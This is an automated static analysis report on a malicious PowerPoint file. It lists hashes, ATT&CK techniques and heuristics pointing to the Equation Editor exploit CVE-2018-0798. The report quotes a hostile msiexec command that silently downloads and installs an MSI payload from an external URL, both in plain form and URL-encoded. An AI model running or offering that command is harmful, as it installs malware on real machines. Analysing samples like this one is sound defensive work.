Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 818ba0987b6136ae…

MALICIOUS

Office (OOXML)

33.5 KB Created: 2017-07-16 13:03:06 UTC Authoring application: Microsoft Office PowerPoint 15.0000 First seen: 2018-07-04
MD5: 8b1b692651cb53ca1e9577261610d688 SHA-1: d3732cea8803c218d620d3e2bf1a35fb0d7f3a5f SHA-256: 818ba0987b6136aef6318250bf7c374364048a2e2da882f26f6bd4b2fd4b2cca
108 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The sample is a PowerPoint document containing an embedded Equation Editor OLE object. Heuristics indicate exploitation of CVE-2018-0798, which is known to be used for arbitrary code execution. The embedded object likely attempts to download and execute a second-stage MSI payload from the URL http://www.filesecured.xyz/upload/servers/done.msi using msiexec.

Heuristics 4

  • Equation Editor OLE object high CVE related OLE_EQUATION_EDITOR
    Embedded OLE object ppt/embeddings/oleObject1.bin contains the Equation Editor CLSID, the legacy component exploited by CVE-2017-11882, CVE-2018-0802, and CVE-2018-0798.
  • CVE-2018-0798 — anomalous Equation Editor native stream high CVE likely CVE_2018_0798_EQUATION_NATIVE_ANOMALY
    Embedded Equation Editor OLE data contains anomalous native stream bytes consistent with a CVE-2018-0798-style Equation Editor exploit. This is treated as likely CVE evidence because the Equation object is malformed and payload-like, but it does not match the exact public matrix-overflow byte signature.
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: msiexec%20/i%20http%3A%2F%2Fwww.filesecured.xyz%2Fupload%2Fservers%2Fdone.msi%20/q

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: ppt/embeddings/oleObject1.bin 4608 bytes
SHA-256: bc4943f4b01e169232a349dfd9cd947ddf2dd602572c570379bb88ddec30c673
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML ppt/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 2180 bytes
SHA-256: a21621f6a4772b14832497b3dfde936132a6af52a078c5211e58a6efcd6ba61f

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